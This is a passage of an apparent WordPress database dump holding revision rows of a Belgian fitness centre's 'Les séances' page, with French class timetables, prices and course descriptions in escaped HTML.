class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:33:38', '2013-07-03 17:33:38', '', 11, 'http://www.crosstrainingcenter.be/?p=187', 0, 'revision', '', 0),
(174, 1, '2013-07-03 16:43:44', '2013-07-03 16:43:44', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:43:44', '2013-07-03 16:43:44', '', 11, 'http://www.crosstrainingcenter.be/?p=174', 0, 'revision', '', 0),
(175, 1, '2013-07-03 16:49:05', '2013-07-03 16:49:05', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 